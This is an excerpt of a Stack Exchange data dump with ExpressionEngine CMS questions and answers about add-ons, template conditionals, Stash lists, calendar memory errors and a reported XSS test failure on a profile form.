CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31582" PostTypeId="1" CreationDate="2015-05-21T10:48:41.297" Score="0" ViewCount="125" Body="&lt;p&gt;I'm updating a very old EE1.7 site for a local charity and their current site runs membership subscriptions through &lt;a href=&quot;http://www.amember.com/&quot; rel=&quot;nofollow&quot;&gt;AMember&lt;/a&gt;. It's worked pretty well but it's not an ee module and the integration is pretty clunky (at least it is with this EE1.7 site). I've been looking at the current options and as far as I can see it comes down to three candidates - &lt;a href=&quot;http://squarebit.co.uk/software/expressionengine/charge&quot; rel=&quot;nofollow&quot;&gt;Charge&lt;/a&gt;, &lt;a href=&quot;http://cartthrob.com/site/product_detail/subscriptions&quot; rel=&quot;nofollow&quot;&gt;Cartthrob Subscriptions&lt;/a&gt; and &lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/subscriptions&quot; rel=&quot;nofollow&quot;&gt;DevDemon's subscriptions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because they're a charity that deal with all sorts of organisations they still need to be able to handle offline payments for subscriptions (cheques) and be able to generate invoices for them. But it would still be nice to handle all of the other automated functionality (expiry notices, renewal notification emails etc) from EE. Also because memberships are open to individuals, students and organisations there needs to be multiple levels of membership.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cartthrob's solution is out because the client budget can't stretch to it. DevDemon can't do this out of the box and I'm fairly certain that charge can't do it either (they haven't come back to me, but I think their product is for a strictly 'modern' customer base).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are - is there anything out there that &lt;em&gt;can&lt;/em&gt; do this (an addon, or a way of thinking!), and has anyone used AMember in the last few years? Is the integration any better than it was for EE1? Because I'm pretty sure that product can handle the offline / online payments issue, but it's my least favourite way forward because all administration seems to be separate from the EE control panel.&lt;/p&gt;&#xA;" OwnerUserId="871" LastEditorUserId="871" LastEditDate="2015-05-21T11:45:21.733" LastActivityDate="2015-05-21T11:45:21.733" Title="Choosing the right subscription membership add-on" Tags="|members|subscriptions|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31583" PostTypeId="1" AcceptedAnswerId="31584" CreationDate="2015-05-21T15:29:22.757" Score="0" ViewCount="89" Body="&lt;p&gt;Having a bit of a weird problem happening with P&amp;amp;T pill field inside Low Variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I used this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{lv_metasocial_meta_title_display}&quot; == &quot;title_site_name&quot;} | {lv_general_site_name}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't render out the &lt;code&gt;{lv_general_site_name}&lt;/code&gt; variable. Moving this outside of the conditional makes it appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The options inside the Pill field are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;title_only : Meta Data Title Only&#xA;title_site_name : Meta Data Title and Site Name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changing the pill values, and also resubmitting the variable multiple times doesn't make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried changing the tag to using the Low Variables Single tag, but it throws this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method Low_fieldtype_bridge::get_setting() in /.../system/expressionengine/third_party/low_variables/mod.low_variables.php on line 148&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I've had to just use it as the field name itself, which outputs fine outside of the conditional due to Low Variables Parse tag being wrapped around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2015-05-21T15:54:11.143" Title="Using Low Variables &amp; P&amp;T Pill in a Conditional" Tags="|pixelandtonic|low-variables|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31584" PostTypeId="2" ParentId="31583" CreationDate="2015-05-21T15:54:11.143" Score="1" Body="&lt;p&gt;Make sure &lt;strong&gt;Early Parsing is enabled&lt;/strong&gt; for that Pill variable, then use this syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if lv_metasocial_meta_title_display == &quot;title_site_name&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which is EllisLab's recommended syntax for conditionals.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-05-21T15:54:11.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31585" PostTypeId="1" AcceptedAnswerId="31596" CreationDate="2015-05-21T16:06:50.617" Score="0" ViewCount="22" Body="&lt;p&gt;Is there a way to apply a class (so the week can be coloured) to week A and week A using Solspace Calendar as per the screengrab? Thanks&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FvgV2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3915" LastActivityDate="2015-05-21T23:30:10.447" Title="Colour code week 1 and week 2 per month" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31586" PostTypeId="1" CreationDate="2015-05-21T16:10:58.257" Score="1" ViewCount="67" Body="&lt;p&gt;I'm trying to add an offset parameter to the options loop within a Channel Entries form. While it accepts a limit, it simply ignores the offset. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;channel1&quot;}&#xA;  {options:channel_name limit=&quot;4&quot; offset=&quot;4&quot;}       &#xA;    {option_name}&#xA;    # limit=&quot;4&quot; works, offset=&quot;4&quot; doesn't &#xA;  {options:channel_name}&#xA;{/exp:channel:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I add an offset?&lt;/strong&gt; I'm using this on a channel form.&lt;/p&gt;&#xA;" OwnerUserId="1736" LastEditorUserId="1100" LastEditDate="2015-05-22T14:01:19.917" LastActivityDate="2015-12-26T08:28:12.053" Title="The options loop in channel entries form does not accept an offset" Tags="|safecracker|loop|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31587" PostTypeId="1" CreationDate="2015-05-21T17:09:25.430" Score="0" ViewCount="36" Body="&lt;p&gt;Wondering if this is a bug or a parse order issue (probably parse_order).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code is below, but basically i am trying to work with template partials approach and showing related videos for an article entry.  The related videos field is a relationship and it can accept multiple. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the main article template i store all related videos in a list.  Then embed a partial below to display the videos.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The using stash:get_list in the embed to loop through the videos. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue i am seeing is that in the main template the list has 1 item, but once in the embed, the list has 5 items, 4 of which are blank records.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working on Stash 2.6.0 and EE 2.9.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---Main template article/view.html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Channel Entries --}&#xA;{exp:channel:entries channel=&quot;article&quot; url_title=&quot;{segment_2}&quot; limit=&quot;1&quot;}&#xA;&#xA;{!-- RELATED VIDEOS --}&#xA;{article_videos status=&quot;open|Featured&quot;}&#xA;   {exp:stash:append_list name=&quot;videos&quot; trim=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;      {stash:video_entry_id}{article_videos:entry_id}{/stash:video_entry_id}&#xA;   {/exp:stash:append_list}&#xA;{/article_videos}&#xA;&#xA;&#xA;{!-- DEBUG, OUTPUT = 1 --}&#xA;{exp:stash:get_list name=&quot;videos&quot; prefix=&quot;related_videos&quot;}&#xA;   {related_videos:total_results}&#xA;{/exp:stash:get_list}&#xA;&#xA;{stash:embed:partials:videos}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;---Embedded stash partial stash_embeds/partials/videos.html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- DEBUG, OUTPUT = 5 --}&#xA;{exp:stash:get_list name=&quot;videos&quot; prefix=&quot;related_videos&quot;}&#xA;   {related_videos:total_results}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Odd indeed, but it is messing up our conditionals and showing a bunch of blank images and cells.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, in advance&lt;/p&gt;&#xA;" OwnerUserId="6327" LastActivityDate="2016-05-29T20:39:41.787" Title="Stash List Passed to Embed - Adding Blank Items" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31588" PostTypeId="2" ParentId="30286" CreationDate="2015-05-21T17:23:41.467" Score="0" Body="&lt;p&gt;Nevermind, looks like the issue was not having a distinct enough name for the stash list.  &quot;videos&quot; was changed to &quot;related_videos&quot; and this solved the issue&lt;/p&gt;&#xA;" OwnerUserId="6327" LastActivityDate="2015-05-21T17:23:41.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31589" PostTypeId="2" ParentId="31577" CreationDate="2015-05-21T17:27:31.050" Score="0" Body="&lt;p&gt;Not all custom fields will work. Unfortunately several fieldtypes rely on secondary tables in the db. You will need to embed another entries tag to make it work. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries&#xA;channel=&quot;{news_channel}&quot;&#xA;dynamic=&quot;no&quot;&#xA;limit=&quot;3&quot;&#xA;url_title=&quot;{segment_2}&quot;&#xA;parse=&quot;inward&quot;&#xA;}&#xA;&#xA;{exp:tagger:related entry_id=&quot;{entry_id}&quot; url_title=&quot;{segment_2}&quot; custom_fields=&quot;news-heading|news-summary&quot;}&#xA;&#xA;    {embed=&quot;news/.related&quot; id=&quot;{tagger:entry_id}&quot;}&#xA;&#xA;{/exp:tagger:related}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on your .related template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;news&quot; entry_id=&quot;{embed:id}&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;img src=&quot;{news-thumbnail:medium}&quot; alt=&quot; &quot;/&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{tagger:news-heading}&amp;lt;/h2&amp;gt;&#xA;    {tagger:news-summary}{/exp:trunchtml}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also you had {tagger:entry_id} in your inner loop, not sure how your code worked at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-05-21T17:27:31.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31590" PostTypeId="2" ParentId="31579" CreationDate="2015-05-21T18:07:03.233" Score="1" Body="&lt;p&gt;Are you using the &quot;return&quot; parameter?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout return=&quot;order/ORDER_HASH&quot;}&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Place Order&quot; /&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1139" LastActivityDate="2015-05-21T18:07:03.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31591" PostTypeId="2" ParentId="31577" CreationDate="2015-05-21T18:39:44.773" Score="0" Body="&lt;p&gt;Thanks Brad, much appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference I needed to remove the tagger: off the custom fields in the embed for them to show. But all working :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; entry_id=&quot;{embed:id}&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;img src=&quot;{news-thumbnail:medium}&quot; alt=&quot; &quot;/&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{news-heading}&amp;lt;/h2&amp;gt;&#xA;    {news-summary}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-05-21T18:39:44.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31592" PostTypeId="1" CreationDate="2015-05-21T19:11:03.467" Score="1" ViewCount="40" Body="&lt;p&gt;Does anyone know how to send a customers IP address to authorize.net when an order is placed in CartThrob. The IP is currently saved in the orders channel but I don't know to send it to authorize.net.&lt;/p&gt;&#xA;" OwnerUserId="6328" LastActivityDate="2015-07-26T17:58:05.833" Title="CartThrob - Send customer IP to Authorize.net" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31593" PostTypeId="1" AcceptedAnswerId="31595" CreationDate="2015-05-21T19:25:43.977" Score="0" ViewCount="77" Body="&lt;p&gt;What are some ways to store full SVGs to later embed onto a page?&#xA;I'm thinking of setting a multiline plain text field to store the raw SVG. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe save the file and embed it onto the page via javascript or php?&lt;/p&gt;&#xA;" OwnerUserId="2270" LastActivityDate="2015-05-21T19:33:51.450" Title="Best way to store SVGs?" Tags="|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31594" PostTypeId="2" ParentId="31369" CreationDate="2015-05-21T19:30:12.730" Score="0" Body="&lt;p&gt;New Relic will help troubleshooting bottlenecks, but this particular issue turned out to be a Plesk service issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We had to restart the Plesk service on the server after a few tweaks, and the site became a lot more stable. So, at least on this particular site, the culprit wasn't EE nor the server itself, but Plesk. &lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-05-21T19:30:12.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31595" PostTypeId="2" ParentId="31593" CreationDate="2015-05-21T19:33:51.450" Score="1" Body="&lt;p&gt;However you'd like. Yes, you could store them in a multiline plain text field, but why not use them as SVG files? Unless you are using channel entries to generate CSS content (which would be a very weird thing to do, unless you're specifically making a site that allows people to play with the SVG format), SVG files can be loaded by most modern browsers just fine. And the only other place to use them is in your stylesheets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I gather you just want a way to store the plaintext of an SVG string. So you already have your answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://caniuse.com/#feat=svg&quot; rel=&quot;nofollow&quot;&gt;http://caniuse.com/#feat=svg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html#SVG_in_HTML&quot; rel=&quot;nofollow&quot;&gt;http://www.w3.org/Graphics/SVG/IG/resources/svgprimer.html#SVG_in_HTML&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References in case you needed them.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-05-21T19:33:51.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31596" PostTypeId="2" ParentId="31585" CreationDate="2015-05-21T23:30:10.447" Score="0" Body="&lt;p&gt;Users in the past have used categories for differentiating events. Depending on the category the event is associated with, a different class would be used in the calendar table cell. A lot depends on your template code, but the &lt;code&gt;{categories}{/categories}&lt;/code&gt; tag pair should be useable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be other strategies, such as using a custom field (eg. select field) to do something similar.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-05-21T23:30:10.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31597" PostTypeId="2" ParentId="31587" CreationDate="2015-05-22T09:02:31.227" Score="0" Body="&lt;p&gt;This is odd indeed! Have you tried moving the partial outside of the &lt;code&gt;exp:channel:entries&lt;/code&gt; loop? In case its a parsing bug and the &lt;code&gt;stash:embed:partials:videos&lt;/code&gt; tag is getting replaced multiple times or there's a parse order thing within stash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, have you tried a straight forward &lt;code&gt;{embed=&quot;&quot;}&lt;/code&gt; on the videos partial, instead of the stash method? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either of these methods may yeild clues if not a work around. Let us know how you get on!&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-22T09:02:31.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31598" PostTypeId="2" ParentId="31586" CreationDate="2015-05-22T09:56:41.350" Score="1" Body="&lt;p&gt;A word of warning, you could achieve this with PHP on a template (though some here don't like the idea of PHP on templates!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of tring to use the limit/offset syntax, lets push out options into a PHP array, then we'll do the array limits and offsets ourselves!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP On = Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$options = array();&#xA;function print_options($limit, $offset){&#xA;  foreach( array_slice($options, $offset, $limit, true) as $option ) { &#xA;    print $option;&#xA;  }&#xA;} &#xA;?&amp;gt;&#xA;{exp:channel:form channel=&quot;channel1&quot;}&#xA;  {options:channel_name}       &#xA;    &amp;lt;?php $options[] = '&amp;lt;option value=&quot;{option_value}&quot;&amp;gt;{option_name}&amp;lt;/option&amp;gt;'; ?&amp;gt;&#xA;  {options:channel_name}&#xA;&#xA;  &amp;lt;select&amp;gt;&#xA;    &amp;lt;?php print_options(4, 4); ?&amp;gt;&#xA;  &amp;lt;/select&amp;gt;&#xA;{/exp:channel:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Untested but hopefully you'll get the idea if I've not type-o'd in my code...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: Simpler version, removed unneeded function and potential var scope issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHP On = Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;channel1&quot;}&#xA;  {options:channel_name}       &#xA;    &amp;lt;?php $options[] = '&amp;lt;option value=&quot;{option_value}&quot;&amp;gt;{option_name}&amp;lt;/option&amp;gt;'; ?&amp;gt;&#xA;  {options:channel_name}&#xA;&#xA;  &amp;lt;select&amp;gt;&#xA;    &amp;lt;?php &#xA;      //array_slice parameters = options array, limit, offset, preseveKeys&#xA;      foreach( array_slice($options, 4, 4, true) as $option ) { &#xA;        print $option;&#xA;      }&#xA;    ?&amp;gt;&#xA;  &amp;lt;/select&amp;gt;&#xA;{/exp:channel:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-05-26T11:10:35.603" LastActivityDate="2015-05-26T11:10:35.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31599" PostTypeId="1" CreationDate="2015-05-22T12:18:30.860" Score="1" ViewCount="74" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is related to compliance to a specific security test, the problem has nothing to do with Freemember extension. &#xA;For the record : The solution found to pass the test was to simply str_replace the posted data to remove anything between &amp;lt; &gt; before it's sent to the database.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Security test flags : &lt;strong&gt;Cross-Site Scripting: Persistent&lt;/strong&gt; on freemember:update_profile form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The test machine manages to insert javascript code in the form fields &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas ?&lt;/p&gt;&#xA;" OwnerUserId="3097" LastEditorUserId="3097" LastEditDate="2015-06-01T12:54:26.923" LastActivityDate="2016-05-22T04:06:08.383" Title="Security test fails on freemember:update_profile form" Tags="|freemember|security|xss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31600" PostTypeId="2" ParentId="31599" CreationDate="2015-05-22T12:49:13.377" Score="0" Body="&lt;p&gt;I would assume that freemember is either pulling in values from the form using the unclean &lt;code&gt;$_POST&lt;/code&gt; array or using &lt;code&gt;ee()-&amp;gt;input-&amp;gt;post('var_name');&lt;/code&gt; (note the lack of second security parameter which should be &lt;code&gt;true&lt;/code&gt;). I suspect the former as using the EE function (on latest 2.10.1) I &lt;em&gt;beleive&lt;/em&gt; still strips dangerous script tags regardless of the XSS_Clean parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the lack of detail here I can only surmise, however I would take a look through the modules code, identify where it gets the posted values and change the method of retrieval to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;input-&amp;gt;post('var_name', true); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should then parse and clean the posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative is that you've changede the XSS Cleaning setting (in &lt;code&gt;Admin &amp;gt; Security&lt;/code&gt;) to no or off. Please review this setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I where you I'd submit this as a bug on freemember if your security settings are correct but it's still defeating them, the module is by DevDemon so you can &lt;a href=&quot;https://github.com/expressodev/freemember/issues?state=open&quot; rel=&quot;nofollow&quot;&gt;submit an issue here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, you &lt;em&gt;have&lt;/em&gt; set an encryption key on freemember, right?? &lt;a href=&quot;https://github.com/devdemon/freemember&quot; rel=&quot;nofollow&quot;&gt;Docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-05-22T12:49:13.377" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31602" PostTypeId="1" AcceptedAnswerId="31603" CreationDate="2015-05-22T14:35:48.390" Score="0" ViewCount="79" Body="&lt;p&gt;I am running Calendar 1.8.13 on EE 2.8.1 and I am getting 500 Server Errors and Memory warnings when I try and access calendar event detail &lt;a href=&quot;http://mobilearts.org/calendar/event/ark-of-india1/2015/05/26&quot; rel=&quot;nofollow&quot;&gt;pages&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the memory error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Allowed memory size of 134217728 bytes exhausted (tried&#xA;  to allocate 72 bytes) in&#xA;  .../codeigniter/system/libraries/Typography.php on line 306&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried allocating more memory - up to 512MB but the errors keep coming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site was built last year and has worked without issue until recently when the the server errors began happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events &#xA;limit=&quot;1&quot; &#xA;event_name=&quot;{segment_3}&quot;&#xA;dynamic=&quot;no&quot; }&#xA;&amp;lt;h3&amp;gt;{event_title}&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;event-details&quot;&amp;gt;&#xA;&#xA;    &amp;lt;h4&amp;gt;When:&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;      {if event_recurs}&#xA;         {exp:calendar:date&#xA;            base_date=&quot;{segment_4}-{segment_5}-{segment_6}&quot;&#xA;            output_date=&quot;today&quot;&#xA;         }&#xA;            {date format=&quot;%l, %F %j&quot;} @ {event_start_date format=&quot;%g:%i%a&quot;}&#xA;         {/exp:calendar:date}&#xA;      {if:else}&#xA;         {event_start_date format=&quot;%l, %F %j @ %g:%i%a&quot;}&#xA;      {/if}&#xA;   &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;h4&amp;gt;Location:&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;p&amp;gt;{event_location}&#xA;        {if event_address}&amp;lt;br /&amp;gt;&#xA;            {event_address}&#xA;        {/if}&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;h4&amp;gt;Admission:&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;p&amp;gt;{admission}&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;h4&amp;gt;Contact&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;p&amp;gt;{contact_phone}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:calendar:events}  &#xA;&#xA;&amp;lt;div id=&quot;more-events&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;More Events&amp;lt;/h4&amp;gt;&#xA;&#xA;{exp:calendar:cal &#xA;    calendar_id=&quot;11&quot; &#xA;    date_range_start=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;    date_range_end=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;    pad_short_weeks=&quot;n&quot;&#xA;    event_limit=&quot;3&quot; &#xA;    dynamic=&quot;off&quot;}&#xA;    &amp;lt;div class=&quot;event-mini&quot;&amp;gt;&#xA;        &amp;lt;span&amp;gt;{event_start_date format=&quot;%m.%d&quot;}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{path='calendar/event'}/{event_id}/&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;     &amp;lt;div class=&quot;clearer&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:calendar:cal}&#xA;&#xA; &amp;lt;p  class=&quot;more-events&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}calendar/&quot;&amp;gt;{ More Events }&amp;lt;/a&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #more-events --&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end #event-details --&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;event-full-description&quot;&amp;gt;&#xA;{exp:calendar:events orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;1&quot; event_name=&quot;{segment_3}&quot; date_range_start=&quot;today&quot; show_months=&quot;6&quot; dynamic=&quot;off&quot;}&#xA;        {event_summary}&#xA;    {/exp:calendar:events}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any assistance in sorting this out would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-05-22T15:12:02.127" Title="Solspace Calendar - Server Errors and Memory Issues" Tags="|solspace-calendar|php-errors|memory|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31603" PostTypeId="2" ParentId="31602" CreationDate="2015-05-22T14:59:59.530" Score="2" Body="&lt;p&gt;Do not use ini_set()! It is only a temporary value change; after script execution ends the value returns to what is set in your configuartion file, and Solspace Calendar might be curling the server for all we know (I don't use it, I'm sure it's great).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the memory_limit higher in your php.ini file. Then make sure to restart Apache/Nginx or whatever your PHP agent is. And admin.php shouldn't be executing on a template page view anyways, so ini_set() wouldn't be your solution unless you made sure it was in index.php. You have a much better chance at testing this by putting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('memory_limit','512M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at the beginning of your index.php file, but only use this for testing. If you're concerned about that particular template/page load, you can track down the load path or put a conditional in your index.php to only change the memory_limit if it's hitting a particular page.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-05-22T15:12:02.127" LastActivityDate="2015-05-22T15:12:02.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31604" PostTypeId="1" CreationDate="2015-05-22T15:22:29.343" Score="0" ViewCount="155" Body="&lt;p&gt;Looking for a plugin to get Ajax login functionality - can see a couple in Devote:ee but they seem to be pretty old and looks like a few of them aren't supported and/or have no developer response on the forums there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone recommend an actively supported good plugin for this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2016-05-06T01:40:40.537" Title="Ajax Login plugin" Tags="|login|ajax|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
